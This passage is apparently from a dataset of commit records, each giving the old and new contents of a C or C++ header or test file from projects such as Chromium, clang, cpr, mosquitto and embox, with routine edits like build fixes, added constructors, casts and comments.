IPCMessageStart in\n\/\/ ipc\/ipc_message_utils.h to include the corresponding message file.\n#include \"chrome\/browser\/importer\/profile_import_process_messages.h\"\n#include \"chrome\/common\/common_message_generator.h\"\n#include \"chrome\/common\/nacl_messages.h\"\n#include \"content\/common\/content_message_generator.h\"\n#include \"content\/common\/pepper_messages.h\"\n#include \"ppapi\/proxy\/ppapi_messages.h\"\n","subject":"Fix build break from bad merge","message":"Fix build break from bad merge\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@106741 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"ropik\/chromium,gavinp\/chromium,gavinp\/chromium,adobe\/chromium,gavinp\/chromium,ropik\/chromium,gavinp\/chromium,ropik\/chromium,yitian134\/chromium,yitian134\/chromium,ropik\/chromium,adobe\/chromium,ropik\/chromium,gavinp\/chromium,yitian134\/chromium,adobe\/chromium,ropik\/chromium,gavinp\/chromium,gavinp\/chromium,gavinp\/chromium,adobe\/chromium,adobe\/chromium,yitian134\/chromium,yitian134\/chromium,yitian134\/chromium,yitian134\/chromium,ropik\/chromium,adobe\/chromium,adobe\/chromium,ropik\/chromium,adobe\/chromium,yitian134\/chromium,gavinp\/chromium,adobe\/chromium,adobe\/chromium,adobe\/chromium,gavinp\/chromium,yitian134\/chromium,ropik\/chromium,yitian134\/chromium"}
{"commit":"9b590204de5ba4507d19340ceca17e529915df42","old_file":"include\/body.h","new_file":"include\/body.h","old_contents":"#ifndef CPR_BODY_H\n#define CPR_BODY_H\n\n#include <string>\n\n#include \"defines.h\"\n\nnamespace cpr {\n\nclass Body {\n  public:\n    template <typename TextType>\n    Body(TextType&& p_text)\n            : text{CPR_FWD(p_text)} {}\n\n    std::string text;\n};\n\n} \/\/ namespace cpr\n\n#endif\n","new_contents":"#ifndef CPR_BODY_H\n#define CPR_BODY_H\n\n#include <string>\n\n#include \"defines.h\"\n\nnamespace cpr {\n\nclass Body : public std::string {\n  public:\n    Body() = default;\n    Body(const Body& rhs) = default;\n    Body(Body&& rhs) = default;\n    Body& operator=(const Body& rhs) = default;\n    Body& operator=(Body&& rhs) = default;\n    explicit Body(const char* raw_string) : std::string(raw_string) {}\n    explicit Body(const char* raw_string, size_t length) : std::string(raw_string, length) {}\n    explicit Body(size_t to_fill, char character) : std::string(to_fill, character) {}\n    explicit Body(const std::string& std_string) : std::string(std_string) {}\n    explicit Body(const std::string& std_string, size_t position, size_t length = std::string::npos)\n            : std::string(std_string, position, length) {}\n    explicit Body(std::initializer_list<char> il) : std::string(il) {}\n    template <class InputIterator>\n    explicit Body(InputIterator first, InputIterator last)\n            : std::string(first, last) {}\n};\n\n} \/\/ namespace cpr\n\n#endif\n","subject":"Make Body an opaque typedef of std::string","message":"Make Body an opaque typedef of std::string\n","lang":"C","license":"mit","repos":"msuvajac\/cpr,SuperV1234\/cpr,msuvajac\/cpr,SuperV1234\/cpr,msuvajac\/cpr,whoshuu\/cpr,whoshuu\/cpr,whoshuu\/cpr,SuperV1234\/cpr"}
{"commit":"49fd000db24f1e535ba13eb3e0b397cdb7b07007","old_file":"wls.h","new_file":"wls.h","old_contents":"\nint wls(double* X, int n, int p, double* y, double* w,\n        double* XTX, double *sqw, double* sqwX, double* sqwy, double* coef);\n\n","new_contents":"\nint wls(double* X, int n, int p, double* y, double* w,\n        double* XTX, double *sqw, double* sqwX, double* sqwy, double* coef);\n\nint calcFitted(double* X, int n, int p,\n    double* y,\n    double* coef,\n    double* fitted);\n\nint calcResid(double* X, int n, int p,\n    double* y,\n    double* coef,\n    double* resid);\n\n","subject":"Add calcFitted and calcResid definitions.","message":"Add calcFitted and calcResid definitions.\n","lang":"C","license":"mit","repos":"awblocker\/go-lm,awblocker\/go-lm"}
{"commit":"d989a56b3ceb47d6de82d0005d3f20a48d3b24e9","old_file":"test\/Driver\/mingw-useld.c","new_file":"test\/Driver\/mingw-useld.c","old_contents":"","new_contents":"\/\/ RUN: %clang -### -target i686-pc-windows-gnu --sysroot=%S\/Inputs\/mingw_clang_tree\/mingw32 %s 2>&1 | FileCheck -check-prefix=CHECK_LD_32 %s\n\/\/ CHECK_LD_32: {{ld|ld.exe}}\"\n\/\/ CHECK_LD_32: \"i386pe\"\n\/\/ CHECK_LD_32_NOT: \"-flavor\" \"gnu\"\n\n\/\/ RUN: %clang -### -target i686-pc-windows-gnu --sysroot=%S\/Inputs\/mingw_clang_tree\/mingw32 %s -fuse-ld=lld 2>&1 | FileCheck -check-prefix=CHECK_LLD_32 %s\n\/\/ CHECK_LLD_32: \"lld\" \"-flavor\" \"gnu\"\n\/\/ CHECK_LLD_32: \"i386pe\"\n\n\/\/ RUN: %clang -### -target i686-pc-windows-gnu --sysroot=%S\/Inputs\/mingw_clang_tree\/mingw32 %s -fuse-ld=link.exe 2>&1 | FileCheck -check-prefix=CHECK_LINK_32 %s\n\/\/ CHECK_LINK_32: link.exe\"\n\/\/ CHECK_LINK_32: \"i386pe\"\n\n\/\/ RUN: %clang -### -target x86_64-pc-windows-gnu --sysroot=%S\/Inputs\/mingw_clang_tree\/mingw32 %s -fuse-ld=lld 2>&1 | FileCheck -check-prefix=CHECK_LLD_64 %s\n\/\/ CHECK_LLD_64: \"lld\" \"-flavor\" \"gnu\"\n\/\/ CHECK_LLD_64: \"i386pep\"\n\n\/\/ RUN: %clang -### -target arm-pc-windows-gnu --sysroot=%S\/Inputs\/mingw_clang_tree\/mingw32 %s -fuse-ld=lld 2>&1 | FileCheck -check-prefix=CHECK_LLD_ARM %s\n\/\/ CHECK_LLD_ARM: \"lld\" \"-flavor\" \"gnu\"\n\/\/ CHECK_LLD_ARM: \"thumb2pe\"\n","subject":"Add test case for mingw -fuse-ld= support introduced in r242121.","message":"Add test case for mingw -fuse-ld= support introduced in r242121.\n\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@253066 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"aba62b0799f87628580c92943152432e6118cedd","old_file":"tests\/regression\/37-congruence\/07-refinements-o.c","new_file":"tests\/regression\/37-congruence\/07-refinements-o.c","old_contents":"\/\/ PARAM: --enable ana.int.congruence\nvoid unsignedCase() {\n    unsigned int top;\n    unsigned int i = 0;\n    if(top % 17 == 3) {\n        assert(top%17 ==3);\n        if(top %17 != 3) {\n            i = 12;\n        } else {\n\n        }\n    }\n    assert(i ==0);\n\n    if(top % 17 == 0) {\n        assert(top%17 == 0);\n        if(top %17 != 0) {\n            i = 12;\n        }\n    }\n    assert(i == 0);\n\n    if(top % 3 == 17) {\n        assert(top%17 == 3); \/\/UNKNOWN!\n    }\n}\n\nint main() {\n    int top;\n    int i = 0;\n    if(top % 17 == 3) {\n        assert(top%17 ==3);\n        if(top %17 != 3) {\n            i = 12;\n        } else {\n\n        }\n    }\n    assert(i ==0);\n\n    if(top % 17 == 0) {\n        assert(top%17 == 0);\n        if(top %17 != 0) {\n            i = 12;\n        }\n    }\n    assert(i == 0);\n\n    if(top % 3 == 17) {\n        assert(top%17 == 3); \/\/UNKNOWN!\n    }\n\n    unsignedCase();\n}\n","new_contents":"\/\/ PARAM: --enable ana.int.congruence\nvoid unsignedCase() {\n    unsigned int top;\n    unsigned int i = 0;\n    if(top % 17 == 3) {\n        assert(top%17 ==3);\n        if(top %17 != 3) {\n            i = 12;\n        } else {\n\n        }\n    }\n    assert(i ==0);\n\n    if(top % 17 == 0) {\n        assert(top%17 == 0);\n        if(top %17 != 0) {\n            i = 12;\n        }\n    }\n    assert(i == 0);\n\n    if(top % 3 == 17) {\n        \/\/ This is unreachable in the concrete!\n        assert(top%17 == 3); \/\/UNKNOWN!\n    }\n}\n\nint main() {\n    int top;\n    int i = 0;\n    if(top % 17 == 3) {\n        assert(top%17 ==3);\n        if(top %17 != 3) {\n            i = 12;\n        } else {\n\n        }\n    }\n    assert(i ==0);\n\n    if(top % 17 == 0) {\n        assert(top%17 == 0);\n        if(top %17 != 0) {\n            i = 12;\n        }\n    }\n    assert(i == 0);\n\n    if(top % 3 == 17) {\n        \/\/ This is unreachable in the concrete!\n        assert(top%17 == 3); \/\/UNKNOWN!\n    }\n\n    unsignedCase();\n}\n","subject":"Add comments to confusing test","message":"Add comments to confusing test\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"a833979af5fa88902eac3ab7a3b106ca6f0e5561","old_file":"ComponentKit\/Debug\/CKComponentDebugController.h","new_file":"ComponentKit\/Debug\/CKComponentDebugController.h","old_contents":"\/*\n *  Copyright (c) 2014-present, Facebook, Inc.\n *  All rights reserved.\n *\n *  This source code is licensed under the BSD-style license found in the\n *  LICENSE file in the root directory of this source tree. An additional grant\n *  of patent rights can be found in the PATENTS file in the same directory.\n *\n *\/\n\n#import <Foundation\/Foundation.h>\n\n#import <ComponentKit\/CKComponentInternal.h>\n#import <ComponentKit\/CKComponentViewConfiguration.h>\n\n@class CKComponent;\n@class UIView;\n\n\/**\n CKComponentDebugController exposes the functionality needed by the lldb helpers to control the debug behavior for\n components.\n *\/\n@interface CKComponentDebugController : NSObject\n\n+ (BOOL)debugMode;\n\n\/**\n Setting the debug mode enables the injection of debug configuration into the component.\n *\/\n+ (void)setDebugMode:(BOOL)debugMode;\n\n\/**\n Components are an immutable construct. Whenever we make changes to the parameters on which the components depended,\n the changes won't be reflected in the component hierarchy until we explicitly cause a reflow\/update. A reflow\n essentially rebuilds the component hierarchy and mounts it back on the view.\n\n This is particularly used in reflowing the component hierarchy when we set the debug mode.\n *\/\n+ (void)reflowComponents;\n\n@end\n\n\/** Returns an adjusted mount context that inserts a debug view if the viewConfiguration doesn't have a view. *\/\nCK::Component::MountContext CKDebugMountContext(Class componentClass,\n                                                const CK::Component::MountContext &context,\n                                                const CKComponentViewConfiguration &viewConfiguration,\n                                                const CGSize size);\n","new_contents":"\/*\n *  Copyright (c) 2014-present, Facebook, Inc.\n *  All rights reserved.\n *\n *  This source code is licensed under the BSD-style license found in the\n *  LICENSE file in the root directory of this source tree. An additional grant\n *  of patent rights can be found in the PATENTS file in the same directory.\n *\n *\/\n\n#import <Foundation\/Foundation.h>\n\n#import <ComponentKit\/CKComponentViewConfiguration.h>\n\n@class CKComponent;\n@class UIView;\n\n\/**\n CKComponentDebugController exposes the functionality needed by the lldb helpers to control the debug behavior for\n components.\n *\/\n@interface CKComponentDebugController : NSObject\n\n+ (BOOL)debugMode;\n\n\/**\n Setting the debug mode enables the injection of debug configuration into the component.\n *\/\n+ (void)setDebugMode:(BOOL)debugMode;\n\n\/**\n Components are an immutable construct. Whenever we make changes to the parameters on which the components depended,\n the changes won't be reflected in the component hierarchy until we explicitly cause a reflow\/update. A reflow\n essentially rebuilds the component hierarchy and mounts it back on the view.\n\n This is particularly used in reflowing the component hierarchy when we set the debug mode.\n *\/\n+ (void)reflowComponents;\n\n@end\n\n\/** Returns an adjusted mount context that inserts a debug view if the viewConfiguration doesn't have a view. *\/\nCK::Component::MountContext CKDebugMountContext(Class componentClass,\n                                                const CK::Component::MountContext &context,\n                                                const CKComponentViewConfiguration &viewConfiguration,\n                                                const CGSize size);\n","subject":"Fix build error when importing debug controller header","message":"Fix build error when importing debug controller header","lang":"C","license":"bsd-3-clause","repos":"darknoon\/componentkitx,darknoon\/componentkitx,darknoon\/componentkitx,darknoon\/componentkitx"}
{"commit":"e24ef2a1f2725a9c01e6e011e38232af9e300f3a","old_file":"src\/core\/map\/ContactFilter.h","new_file":"src\/core\/map\/ContactFilter.h","old_contents":"\/\/\n\/\/ Created by dar on 12\/22\/15.\n\/\/\n\n#ifndef C003_CONTACTFILTER_H\n#define C003_CONTACTFILTER_H\n\n#include <Box2D\/Dynamics\/b2WorldCallbacks.h>\n#include <Box2D\/Dynamics\/b2Fixture.h>\n#include \"..\/map\/entity\/Entity.h\"\n\nclass ContactFilter : public b2ContactFilter {\n\n    bool doesCollide(void *a, void *b) {\n        bool collisionAwithB = true, collisionBwithA = true;\n        if (Entity *entity = reinterpret_cast<Entity *>(a)) {\n            collisionAwithB = entity->doesCollide(reinterpret_cast<IPositionable *>(b));\n        }\n        if (Entity *entity = reinterpret_cast<Entity *>(b)) {\n            collisionBwithA = entity->doesCollide(reinterpret_cast<IPositionable *>(a));\n        }\n        return collisionAwithB && collisionBwithA;\n    }\n\n    virtual bool ShouldCollide(b2Fixture *fixtureA, b2Fixture *fixtureB) override {\n        void *bodyDataA = fixtureA->GetBody()->GetUserData();\n        void *bodyDataB = fixtureB->GetBody()->GetUserData();\n        return doesCollide(bodyDataA, bodyDataB);\n    }\n\n};\n\n#endif \/\/C003_CONTACTFILTER_H\n","new_contents":"\/\/\n\/\/ Created by dar on 12\/22\/15.\n\/\/\n\n#ifndef C003_CONTACTFILTER_H\n#define C003_CONTACTFILTER_H\n\n#include <Box2D\/Dynamics\/b2WorldCallbacks.h>\n#include <Box2D\/Dynamics\/b2Fixture.h>\n#include \"..\/map\/entity\/Entity.h\"\n\nclass ContactFilter : public b2ContactFilter {\n\n    bool doesCollide(void *a, void *b) {\n        bool collisionAwithB = true, collisionBwithA = true;\n        if (Entity *entity = reinterpret_cast<Entity *>(a)) {\n            collisionAwithB = entity->doesCollide(static_cast<IPositionable *>(b));\n        }\n        if (Entity *entity = reinterpret_cast<Entity *>(b)) {\n            collisionBwithA = entity->doesCollide(static_cast<IPositionable *>(a));\n        }\n        return collisionAwithB && collisionBwithA;\n    }\n\n    virtual bool ShouldCollide(b2Fixture *fixtureA, b2Fixture *fixtureB) override {\n        void *bodyDataA = fixtureA->GetBody()->GetUserData();\n        void *bodyDataB = fixtureB->GetBody()->GetUserData();\n        return doesCollide(bodyDataA, bodyDataB);\n    }\n\n};\n\n#endif \/\/C003_CONTACTFILTER_H\n","subject":"Use static_cast in void* casting","message":"Use static_cast in void* casting\n","lang":"C","license":"mit","repos":"darsto\/spooky,darsto\/spooky"}
{"commit":"5c1bd508ee7f2583780d267c12e2557ec5045bec","old_file":"thingshub\/NSFileHandle+CDZCLIStringReading.h","new_file":"thingshub\/NSFileHandle+CDZCLIStringReading.h","old_contents":"\/\/\n\/\/  NSFileHandle+CDZCLIStringReading.h\n\/\/  CDZCLIApplication\n\/\/\n\/\/  Created by Chris Dzombak on 1\/13\/14.\n\/\/  Copyright (c) 2014 Chris Dzombak. All rights reserved.\n\/\/\n\n@import Foundation;\n\n@interface NSFileHandle (CDZCLIStringReading)\n\n\/\/\/ Read this handle's `-availableData` as a string, stripping any trailing newline.\n- (NSString *)cdz_availableString;\n\n@end\n","new_contents":"\/\/\n\/\/  NSFileHandle+CDZCLIStringReading.h\n\/\/  CDZCLIApplication\n\/\/\n\/\/  Created by Chris Dzombak on 1\/13\/14.\n\/\/  Copyright (c) 2014 Chris Dzombak. All rights reserved.\n\/\/\n\n@import Foundation;\n\n@interface NSFileHandle (CDZCLIStringReading)\n\n\/\/\/ Read this handle's `-availableData` as a string, stripping a single trailing newline.\n\/\/\/ Useful with +[NSFileHandle fileHandleWithStandardInput].\n- (NSString *)cdz_availableString;\n\n@end\n","subject":"Update docs on cdz_availableString NSFileHandle category method","message":"Update docs on cdz_availableString NSFileHandle category method\n","lang":"C","license":"mit","repos":"cdzombak\/thingshub,cdzombak\/thingshub,cdzombak\/thingshub"}
{"commit":"651849d5367cc005d2b9284b0f29a9e5347c7c48","old_file":"buffer.h","new_file":"buffer.h","old_contents":"#ifndef BUFFER_H_\n#define BUFFER_H_\n\n#define BUFFER_SIZEOF_DESIRED 48\n\ntypedef struct Buffer {\n    unsigned int pos;\n    unsigned int size;\n    char* data;\n    char fixed[BUFFER_SIZEOF_DESIRED - 2*sizeof(unsigned int) - 1*sizeof(char*)];\n} Buffer;\n\nBuffer* buffer_init(Buffer* buffer, unsigned int size);\nBuffer* buffer_fini(Buffer* buffer);\n\nBuffer* buffer_wrap(Buffer* buffer, const char* data, unsigned int length);\n\nBuffer* buffer_ensure_total(Buffer* buffer, unsigned int size);\nBuffer* buffer_ensure_unused(Buffer* buffer, unsigned int size);\n\nBuffer* buffer_reset(Buffer* buffer);\nBuffer* buffer_rewind(Buffer* buffer);\nBuffer* buffer_terminate(Buffer* buffer);\n\nBuffer* buffer_append(Buffer* buffer, const char* source, unsigned int length);\n\n#endif\n","new_contents":"#ifndef BUFFER_H_\n#define BUFFER_H_\n\n\n#define BUFFER_SIZEOF_DESIRED 64\ntypedef struct Buffer {\n    unsigned int pos;\n    unsigned int size;\n    char* data;\n    char fixed[BUFFER_SIZEOF_DESIRED - 2*sizeof(unsigned int) - 1*sizeof(char*)];\n} Buffer;\n\nBuffer* buffer_init(Buffer* buffer, unsigned int size);\nBuffer* buffer_fini(Buffer* buffer);\n\nBuffer* buffer_wrap(Buffer* buffer, const char* data, unsigned int length);\n\nBuffer* buffer_ensure_total(Buffer* buffer, unsigned int size);\nBuffer* buffer_ensure_unused(Buffer* buffer, unsigned int size);\n\nBuffer* buffer_reset(Buffer* buffer);\nBuffer* buffer_rewind(Buffer* buffer);\nBuffer* buffer_terminate(Buffer* buffer);\n\nBuffer* buffer_append(Buffer* buffer, const char* source, unsigned int length);\n\n#endif\n","subject":"Increase stack array size from 48 to 64","message":"Increase stack array size from 48 to 64\n","lang":"C","license":"mit","repos":"gonzus\/devel-cookie,gonzus\/devel-cookie,gonzus\/devel-cookie,gonzus\/http-xscookies,gonzus\/http-xscookies"}
{"commit":"e581eb9f332bde7e69cf4fa10a379d860e5d133a","old_file":"Settings\/SettingsUI.h","new_file":"Settings\/SettingsUI.h","old_contents":"#pragma once\n\n#define WIN32_LEAN_AND_MEAN\n#include <Windows.h>\n\n#include <malloc.h>\n#include <memory.h>\n#include <prsht.h>\n#include <stdlib.h>\n#include <tchar.h>\n\n#include \"..\/3RVX\/3RVX.h\"\n#include \"resource.h\"\n\n\nclass SettingsUI : public Window {\npublic:\n    SettingsUI(HINSTANCE hInstance);\n\n    INT_PTR LaunchPropertySheet();\n\n    virtual LRESULT WndProc(HWND hWnd, UINT message,\n        WPARAM wParam, LPARAM lParam);\n\n\nprivate:\n\n};\n\n\/* Forward Declarations *\/\nLRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);\nint CALLBACK PropSheetProc(HWND hwndDlg, UINT uMsg, LPARAM lParam);\n\nBOOL CALLBACK GeneralTabProc(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam);\nBOOL CALLBACK DisplayTabProc(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam);\nBOOL CALLBACK OSDTabProc(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam);\nBOOL CALLBACK HotkeyTabProc(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam);\nBOOL CALLBACK AboutTabProc(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam);","new_contents":"#pragma once\n\n#define WIN32_LEAN_AND_MEAN\n#include <Windows.h>\n\n#include <malloc.h>\n#include <memory.h>\n#include <prsht.h>\n#include <stdlib.h>\n#include <tchar.h>\n#include <vector>\n\n#include \"..\/3RVX\/3RVX.h\"\n#include \"resource.h\"\n\nclass About;\nclass Display;\nclass General;\nclass Hotkeys;\nclass OSD;\nclass TabPage;\n\nclass SettingsUI : public Window {\npublic:\n    SettingsUI(HINSTANCE hInstance);\n\n    INT_PTR LaunchPropertySheet();\n\n    virtual LRESULT WndProc(HWND hWnd, UINT message,\n        WPARAM wParam, LPARAM lParam);\n\nprivate:\n    std::vector<TabPage *> _tabs;\n    General *_general;\n    Display *_display;\n    OSD *_osd;\n    Hotkeys *_hotkeys;\n    About *_about;\n\nprivate:\n    \/* Startup x\/y location offsets *\/\n    static const int XOFFSET = 70;\n    static const int YOFFSET = 20;\n\n};\n\n\/* Forward Declarations *\/\nLRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);\nint CALLBACK PropSheetProc(HWND hwndDlg, UINT uMsg, LPARAM lParam);","subject":"Add instance variables, remove callbacks","message":"Add instance variables, remove callbacks\n","lang":"C","license":"bsd-2-clause","repos":"malensek\/3RVX,malensek\/3RVX,malensek\/3RVX"}
{"commit":"6edee0b9551de3172d59abb5ea107a0ffd9e2345","old_file":"config.h","new_file":"config.h","old_contents":"\/* Uncomment to compile with tcpd\/libwrap support. *\/\n\/\/#define WITH_WRAP\n\n\/* Compile with database upgrading support? If disabled, mosquitto won't\n * automatically upgrade old database versions. *\/\n\/\/#define WITH_DB_UPGRADE\n\n\/* Compile with memory tracking support? If disabled, mosquitto won't track\n * heap memory usage nor export '$SYS\/broker\/heap\/current size', but will use\n * slightly less memory and CPU time. *\/\n#define WITH_MEMORY_TRACKING\n","new_contents":"\/* Uncomment to compile with tcpd\/libwrap support. *\/\n\/\/#define WITH_WRAP\n\n\/* Compile with database upgrading support? If disabled, mosquitto won't\n * automatically upgrade old database versions. *\/\n\/\/#define WITH_DB_UPGRADE\n\n\/* Compile with memory tracking support? If disabled, mosquitto won't track\n * heap memory usage nor export '$SYS\/broker\/heap\/current size', but will use\n * slightly less memory and CPU time. *\/\n#define WITH_MEMORY_TRACKING\n\n\/* Compile with the ability to upgrade from old style sqlite persistent\n * databases to the new mosquitto format. This means a dependency on sqlite. It\n * isn't needed for new installations. *\/\n#define WITH_SQLITE_UPGRADE\n","subject":"Add compile option for sqlite db upgrades.","message":"Add compile option for sqlite db upgrades.\n","lang":"C","license":"bsd-3-clause","repos":"zlargon\/mosquitto,zlargon\/mosquitto,zlargon\/mosquitto,zlargon\/mosquitto,zlargon\/mosquitto"}
{"commit":"1e8e7adb26d12dc17ef4909e153f0c949883692d","old_file":"src\/kernel\/task\/task_alloc_onstack.c","new_file":"src\/kernel\/task\/task_alloc_onstack.c","old_contents":"\/**\n * @file\n *\n * @date Nov 12, 2013\n * @author: Anton Bondarev\n *\/\n#include <stddef.h>\n#include <kernel\/task.h>\n#include <kernel\/thread\/thread_stack.h>\n#include <kernel\/panic.h>\n\nstruct task *task_alloc(struct task *task, size_t task_size) {\n\tvoid *addr;\n\n\tassert(task);\n\tassert(task->main_thread);\n\n\taddr = thread_stack_get(task->main_thread);\n\n\tif (thread_stack_reserved(task->main_thread, task_size) < 0) {\n\t\tpanic(\"Too small thread stack size\");\n\t}\n\n\treturn addr;\n}\n","new_contents":"\/**\n * @file\n *\n * @date Nov 12, 2013\n * @author: Anton Bondarev\n *\/\n\n#include <stddef.h>\n#include <kernel\/task.h>\n#include <kernel\/thread\/thread_stack.h>\n#include <kernel\/panic.h>\n\nstruct task *task_alloc(struct task *task, size_t task_size) {\n\tvoid *addr;\n\n\tassert(task);\n\tassert(task->main_thread);\n\n\taddr = thread_stack_get(task->main_thread);\n\n\tif (thread_stack_reserved(task->main_thread, task_size) < 0) {\n\t\tpanic(\"Too small thread stack size\");\n\t}\n\n\treturn addr;\n}\n","subject":"Add newline between comments and includes","message":"taskres: Add newline between comments and includes","lang":"C","license":"bsd-2-clause","repos":"Kakadu\/embox,embox\/embox,Kakadu\/embox,vrxfile\/embox-trik,vrxfile\/embox-trik,Kakadu\/embox,Kefir0192\/embox,Kakadu\/embox,mike2390\/embox,abusalimov\/embox,mike2390\/embox,embox\/embox,vrxfile\/embox-trik,mike2390\/embox,gzoom13\/embox,gzoom13\/embox,Kefir0192\/embox,gzoom13\/embox,abusalimov\/embox,embox\/embox,vrxfile\/embox-trik,Kefir0192\/embox,mike2390\/embox,mike2390\/embox,Kefir0192\/embox,vrxfile\/embox-trik,abusalimov\/embox,vrxfile\/embox-trik,gzoom13\/embox,mike2390\/embox,gzoom13\/embox,Kakadu\/embox,Kefir0192\/embox,embox\/embox,gzoom13\/embox,abusalimov\/embox,Kefir0192\/embox,gzoom13\/embox,abusalimov\/embox,vrxfile\/embox-trik,Kefir0192\/embox,mike2390\/embox,Kakadu\/embox,embox\/embox,abusalimov\/embox,embox\/embox,Kakadu\/embox"}
{"commit":"948ec1820d49c8ec2ec68eb000e088ead4c3bf37","old_file":"src\/population.h","new_file":"src\/population.h","old_contents":"#ifndef POPULATION_H\n#define POPULATION_H\n\nclass POPULATION\n{\npublic:\n  int **initializePopulation(int individuals, int genes, bool FILL_ZERO = false);\n  int **createRandomPopulation(int **population, int individuals, int genes);\n};\n\n#endif\n","new_contents":"#ifndef POPULATION_H\n#define POPULATION_H\n\nclass POPULATION\n{\npublic:\n  int **initializePopulation(int individuals, int genes, bool FILL_ZERO = false);\n  int createRandomPopulation(int **population, int individuals, int genes);\n};\n\n#endif\n","subject":"Update return datatype function 'createRandomPopulation'.","message":"Update return datatype function 'createRandomPopulation'.\n","lang":"C","license":"mit","repos":"wkohlenberg\/simple_GA"}
{"commit":"48ebeb144908b83d6ace61a7709267ae65048c7f","old_file":"include\/dsnutil\/log\/sinkmanager.h","new_file":"include\/dsnutil\/log\/sinkmanager.h","old_contents":"#ifndef SINKMANAGER_H\n#define SINKMANAGER_H\n\n#include <dsnutil\/singleton.h>\n#include <dsnutil\/log\/base.h>\n\n#include <map>\n#include <string>\n#include <boost\/shared_ptr.hpp>\n#include <boost\/log\/sinks.hpp>\n\nnamespace dsn {\nnamespace log {\n\n    class SinkManager : public dsn::Singleton<SinkManager>, public Base<SinkManager> {\n        friend class dsn::Singleton<SinkManager>;\n        SinkManager();\n        ~SinkManager();\n\n    public:\n        \/\/\/ \\brief Pointer to a managed log sink\n        typedef boost::shared_ptr<boost::log::sinks::sink> sink_ptr;\n\n        bool exists(const std::string& name) const;\n        bool add(const std::string& name, const sink_ptr& sink);\n        bool remove(const std::string& name);\n\n        std::vector<std::string> sinks() const;\n        sink_ptr sink(const std::string& name);\n\n    private:\n        \/\/\/ \\brief Storage container type for managed log sinks\n        typedef std::map<std::string, sink_ptr> sink_storage;\n\n        \/\/\/ \\brief Storage container for managed log sinks\n        sink_storage m_sinks;\n    };\n}\n}\n\n#endif \/\/ SINKMANAGER_H\n","new_contents":"#ifndef SINKMANAGER_H\n#define SINKMANAGER_H\n\n#include <dsnutil\/dsnutil_cpp_Export.h>\n#include <dsnutil\/singleton.h>\n#include <dsnutil\/log\/base.h>\n\n#include <map>\n#include <string>\n#include <boost\/shared_ptr.hpp>\n#include <boost\/log\/sinks.hpp>\n\nnamespace dsn {\nnamespace log {\n\n    class dsnutil_cpp_EXPORT SinkManager : public dsn::Singleton<SinkManager>, public Base<SinkManager> {\n        friend class dsn::Singleton<SinkManager>;\n        SinkManager();\n        ~SinkManager();\n\n    public:\n        \/\/\/ \\brief Pointer to a managed log sink\n        typedef boost::shared_ptr<boost::log::sinks::sink> sink_ptr;\n\n        bool exists(const std::string& name) const;\n        bool add(const std::string& name, const sink_ptr& sink);\n        bool remove(const std::string& name);\n\n        std::vector<std::string> sinks() const;\n        sink_ptr sink(const std::string& name);\n\n    private:\n        \/\/\/ \\brief Storage container type for managed log sinks\n        typedef std::map<std::string, sink_ptr> sink_storage;\n\n        \/\/\/ \\brief Storage container for managed log sinks\n        sink_storage m_sinks;\n    };\n}\n}\n\n#endif \/\/ SINKMANAGER_H\n","subject":"Add missing DLL export for log::SinkManager","message":"Add missing DLL export for log::SinkManager\n","lang":"C","license":"bsd-3-clause","repos":"png85\/dsnutil_cpp"}
{"commit":"849d9e94eeb91981ffb0e2b3bfb87e52583c4b6a","old_file":"CommonFunc.h","new_file":"CommonFunc.h","old_contents":"\/\/ CommonFunc.h -- header file\n\/*\n *\n * Author: septimomend (Ivan Chapkailo)\n *\n * 30.06.2017\n *\n *\/\n\n#pragma once\n#include \"stdafx.h\"\n#include \"AllControllers.h\"\n#include \"AdditionalBuffer.h\"\n\nclass Common : public AllControllers\n{\npublic:\n  Common(AllControllers* all); \/\/ cstr\n\n  \/*\n   * draws\n   *\/\n  void drawRows(Adbfr* abfr);\n  void drawStatusBar(Adbfr* abfr);\n  void drawMessageBar(Adbfr* abfr);\n\n  \/*\n   * operations\n   *\/\n  void statusMsg(const char *fmt, ...);\n  void updateScreen();\n  char *callPrompt(char *prompt, void (*callback)(char *, int));\n  void scrolling();\n\nprivate:\n  ConfigurationController* m_cnfg;\n  Adbfr m_abfr;\n};\n","new_contents":"\/\/ CommonFunc.h -- header file\n\/*\n *\n * Author: septimomend (Ivan Chapkailo)\n *\n * 30.06.2017\n *\n *\/\n\n#pragma once\n#include \"stdafx.h\"\n#include \"AllControllers.h\"\n#include \"AdditionalBuffer.h\"\n\nclass Common : public AllControllers\n{\npublic:\n  Common(AllControllers* all); \/\/ cstr\n\n  \/*\n   * draws\n   *\/\n  void drawRows(Adbfr* abfr);\n  void drawStatusBar(Adbfr* abfr);\n  void drawMessageBar(Adbfr* abfr);\n\n  \/*\n   * operations\n   *\/\n  void statusMsg(const char *fmt, ...);\n  void updateScreen();\n  char *callPrompt(char *prompt, void (*callback)(char *, int));\n  void scrolling();\n  \/*\n   * TODO\n   *\n   * void moveCursor(int key);\n   * void processKeypress();\n   *\/\n\nprivate:\n  ConfigurationController* m_cnfg;\n  Adbfr m_abfr;\n};\n","subject":"Add new functions described in TODO comment","message":"TODO: Add new functions described in TODO comment\n","lang":"C","license":"mit","repos":"septimomend\/UNIX-C-Text-Editor,septimomend\/UNIX-C-Text-Editor"}
